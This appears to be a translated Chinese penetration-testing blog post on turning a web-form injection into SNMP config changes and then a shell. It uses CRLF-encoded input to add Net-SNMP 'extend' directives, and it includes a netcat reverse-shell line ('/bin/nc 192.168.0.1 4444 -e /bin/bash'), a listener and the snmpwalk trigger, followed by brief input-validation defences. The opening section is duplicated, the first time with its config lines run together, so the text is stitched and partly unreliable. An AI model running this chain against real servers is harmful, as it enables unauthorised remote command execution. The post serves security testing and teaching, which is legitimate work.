在今天下午的Web应用程序测试中,我发现我能够将任意内容注入到SNMP配置文件中,然后使用更新的文件重新启动服务。由于我已经可以使用Web界面来更改社区字符串并允许访问我想要的任何IP地址,但我认为这是一个有趣但低级的发现。幸运的是,我向Sandro Gauci提到了这个问题,他说他听说有可能让SNMP服务器在以某些方式访问时运行shell命令。这听起来比只能将几行添加到配置文件中有趣得多,所以我开始挖掘。
我知道服务器正在运行Debian(是的,那些低级别的信息泄漏确实派上用场!)这意味着它可能运行标准的Net-SNMP软件包,经过一番搜索后,我发现这个非常有用的博客文章扩展snmpd使用shell脚本。
我必须使用的初始配置文件非常基本:
rocommunity public 127.0.0.1 rocommunity public 192.168.0.0/24
我能够添加新的条目给它不同的IP地址或范围他们自己的社区字符串:
rocommunity public 127.0.0.1 rocommunity public 192.168.0.0/24 rocommunity notpublic 172.16.10.0/24
从我读过的博客文章中,我想添加的行将基于以下内容:
extend test /bin/echo hello
这告诉snmp服务,当它被询问扩展信息时,运行echo命令,然后用扩展参数名称test返回它的输出。基于此,我提交了以下新条目。
test 10.1.1.1%0a%0dextend test /bin/echo hello
中间的%0a%0d被解码为一个新的行和回车符,它给了我这个配置文件:
rocommunity public 127.0.0.1 rocommunity public 192.168.0.0/24 rocommunity notpublic 172.16.10.0/24 rocommunity test 10.1.1.1 extend test /bin/echo hello
完美,现在连接到服务器,看看它是否工作:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
在今天下午的Web应用程序测试中,我发现我能够将任意内容注入到SNMP配置文件中,然后使用更新的文件重新启动服务。由于我已经可以使用Web界面来更改社区字符串并允许访问我想要的任何IP地址,但我认为这是一个有趣但低级的发现。幸运的是,我向Sandro Gauci提到了这个问题,他说他听说有可能让SNMP服务器在以某些方式访问时运行shell命令。这听起来比只能将几行添加到配置文件中有趣得多,所以我开始挖掘。
我知道服务器正在运行Debian(是的,那些低级别的信息泄漏确实派上用场!)这意味着它可能运行标准的Net-SNMP软件包,经过一番搜索后,我发现这个非常有用的博客文章扩展snmpd使用shell脚本。
我必须使用的初始配置文件非常基本:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
我能够添加新的条目给它不同的IP地址或范围他们自己的社区字符串:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
从我读过的博客文章中,我想添加的行将基于以下内容:
extend test /bin/echo hello
这告诉snmp服务,当它被询问扩展信息时,运行echo命令,然后用扩展参数名称test返回它的输出。基于此,我提交了以下新条目。
test 10.1.1.1%0a%0dextend test /bin/echo hello
中间的%0a%0d被解码为一个新的行和回车符,它给了我这个配置文件:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
rocommunity test 10.1.1.1
extend test /bin/echo hello
完美,现在连接到服务器,看看它是否工作:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
没有运气,我得到这个错误:
nsExtendOutput1: Unknown Object Identifier (Sub-id not found: (top) -> nsExtendOutput1)
经过大量搜索,我遇到了这篇文章在Ubuntu和Debian上安装net-snmp MIBs,它解释了由于许可证问题,Ubuntu仅附带可用MIB的子集,并且要使用完整集合,必须安装额外的软件包并更新您的客户端配置文件。完成之后,我再次尝试:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test" = STRING: hello
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."test" = STRING: hello
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."test" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."test" = INTEGER: 0
积宝,MIB更新已经工作,所以有回声命令,我得到了我的输出。如果和这个输出一起,你会得到一堆以这一行开头的错误:
Bad operator (INTEGER): At line 73 in /usr/share/mibs/ietf/SNMPv2-PDU
不要担心,它似乎并不影响我们在这里做的事情。如果你想修复它,这篇文章告诉你如何去做:如何修复net-snmp / snmpwalk错误
现在剩下的只是获得一个外壳。幸运的是,Debian附带的Netcat软件包是带有-e参数的版本(同样,信息泄露非常好,一些发行版随附了一个没有-e的版本,因此您需要使用不同的技术)。使用这个,我在配置中注入了一个简单的反向shell命令,设置我的监听器并重新运行snmpwalk命令。这是最终的snmp.conf文件:
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
rocommunity test 10.1.1.1
extend test /bin/echo hello
rocommunity test 10.1.1.2
extend shell /bin/nc 192.168.0.1 4444 -e /bin/bash
netcat监听器:
$ nc -l -p 4444
id
uid=113(Debian-snmp) gid=119(Debian-snmp) groups=119(Debian-snmp)
snmpwalk命令来触发它:
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test" = STRING: hello
Timeout: No Response from 192.168.0.100
这里的超时时间是预期的,处理请求的snmp线程触发shell并且不返回,所以客户端放弃等待并超时。
最后一个问题,snmp服务没有设置PATH,所以所有的命令和文件都必须使用绝对路径,例如/ bin / nc不仅仅是NC。
在家玩
在您自己的实验室中进行设置非常简单。为了测试这篇文章的内容,我创建了一个Debian虚拟机,通过apt安装了snmpd软件包,然后将默认配置文件切碎到我在客户机上启动的文件。假设你已经从攻击者盒子获得连接,那就是你所需要的。请记住,在开始进行更改之前,先用snmpwalk测试基本设置,以确保一切正常。
防御
似乎没有什么字符可以在社区字符串中使用的正式定义,但是各公司已经定义了他们自己的标准。大部分都允许使用标准字母数字字符集和一系列符号,虽然我通常不是限制字符集的粉丝,但只要您不太受限制,在这里执行操作似乎是合理的。一旦你定义了你的字符集,写一个正则表达式来检查输入是一件容易的工作。
另一种方法是去除或编码已知的错误字符,例如新行。这样做的问题是,你必须考虑所有可能的坏字符,如果你错过了,那么攻击可以用它来对付你。话虽如此,添加一个调用来删除新行不会增加大量的开销,并且在这种情况下会保存客户端。
就是这样,从简单的文件注入到shell,希望你喜欢它。
本文作者为Mr.Bai,转载请注明。